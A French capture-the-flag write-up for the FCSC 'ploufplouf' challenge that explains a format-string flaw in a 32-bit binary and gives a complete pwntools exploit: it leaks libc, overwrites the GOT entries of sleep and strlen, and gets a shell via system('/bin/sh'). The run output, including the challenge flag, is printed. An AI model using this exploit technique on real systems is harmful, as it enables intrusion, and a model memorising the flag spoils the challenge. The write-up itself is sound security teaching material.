Analyse du challenge
Le challenge est un petit jeu qui demande le prénom de l’utilisateur et donne quelques tentatives pour trouver un chiffre.
Vulnérabilité
En désassemblant avec Binary Ninja, on repère rapidement une faille de type Format String :
+0x12ce:fgets(buf: &var_a4, n, fp: *stdin)+0x12eb:var_a4[strlen(&var_a4) - 1] = 0+0x12fd:printf(format: "Bonjour ")+0x130f:printf(format: &var_a4)<– Faille ici
Printf utilise directement notre entrée, les spécifications de format seront interprétés.
%n permet décrire la taille de ce qui a déjà été affiché à l’adresse de l’argument donné à printf.
Donc %666c%n permet d’écrire 0x29a à l’adresse du deuxième argument. On peut écrire un demi word ou un byte avec %hn et %hhn.
On peut appeler directement le x-ième argument avec %x$n. Ca tombe bien notre buffer est sur la pile, comme les arguments.
On pourra mettre dans notre buffer les adresses où l’on veut écrire.
Ca ne marcherait pas en 64 bits, les paramètres de printf commencent par les registres et ensuite la pile (x86-64 System V calling convention).
De même les protections FORTIFY empecheraient d’utiliser un %n depuis une zone en lecture-écriture ou les arguments positionnels.
Le binaire n’est pas Full RELRO, on peut écraser les addresses des fonctions dans la table d’import (la GOT).
Contraintes
Mis à part l’ASLR qui fait changer les adresses de la libc à chaque execution, rien de spécial.
Stratégie d’exploitation
- Leak de la Libc : Au moment du
printf, la pile contient l’adresse de retour vers__libc_start_main. On utilise%xxx$ppour la récupérer et calculer l’adresse de base. - Boucle infinie : Pour éviter que la libc ne change d’adresse, on boucle le programme pour recommancer sans le relancer : on écrase l’entrée GOT de
sleep()par l’adresse demain(). Ainsi, quand le jeu appellesleep(), il repart au début de main(). - Arbitrary Write : Au tour suivant, on écrase l’entrée GOT de
strlen()par l’adresse desystem().sleep()relancemain()à nouveau. - Shell : Enfin on envoie
/bin/shcomme nom. Le programme le passe comme argument àstrlen(), qui est maintenantsystem("/bin/sh").
Par praticité j’utilise la lib pwn pour écrire la format string. Idem pour travailler en local j’utilise pwninit qui patch la cible pour lui faire utiliser les libs du repertoire courant (d’où le plouf_patched en local).
➜ ploufplouf ./exploit.py REMOTE
[+] Opening connection to localhost on port 4000: Done
[*] will write 0x8049212 at 0x804c014
[+] libc base: 0xf3f3f000
[*] will write 0xf3f7db80 at 0x804c02c
[*] Switching to interactive mode
Linux 9e2e019f87bd 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC
FCSC{1f0ab477d3ec9b50c0e1259d8e18f10d47c9c046041ef5fe344c30e0da8dca6c}
Exploit Python (pwntools)
#!/usr/bin/env python3
from pwn import *
import re
import sys
import os
sys.tracebacklimit = 0
context.arch = 'i386'
if args.DBG:
context.log_level = 'debug'
else:
context.log_level = 'info'
elf = ELF('./plouf_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
if args.REMOTE:
p = remote('localhost', 4000)
else:
if args.GDB:
p = gdb.debug(elf.path, gdbscript='''
break strlen
continue
''')
else:
p = process(elf.path)
p.recvuntil(b'>>> ')
# Étape 1 : Détourner sleep -> main et leak libc
where = elf.got.sleep
what = elf.sym.main
log.info(f'will write {what:#x} at {where:#x}')
what = what & 0xffff
payload = p32(where)
payload += b'%47$p'
payload += b'%' + str(what - 10 - 4).encode() + b'c%7$hn'
p.sendline(payload)
leak = p.recvregex(b'(0x.*) ', capture=True).group(1)
libc.address = int(leak, 16) - 241 - libc.sym.__libc_start_main
log.success(f'libc base: {libc.address:#x}')
p.recvuntil(b'>>> ')
p.sendline(b'1') # force du caillou pour trigger sleep()
# Étape 2 : Détourner strlen -> system
p.recvuntil(b'>>> ')
where = elf.got.strlen
what = libc.sym.system
log.info(f'will write {what:#x} at {where:#x}')
payload = fmtstr_payload(7, {where: what}, write_size='byte')
p.sendline(payload)
p.recv(timeout=1)
p.recvuntil(b'>>> ')
p.sendline(b'1')
# Étape 3 : Pop le shell
p.recvuntil(b'>>> ')
p.sendline(b'/bin/sh')
p.clean()
p.sendline(b'uname -a;cat flag.txt')
p.interactive()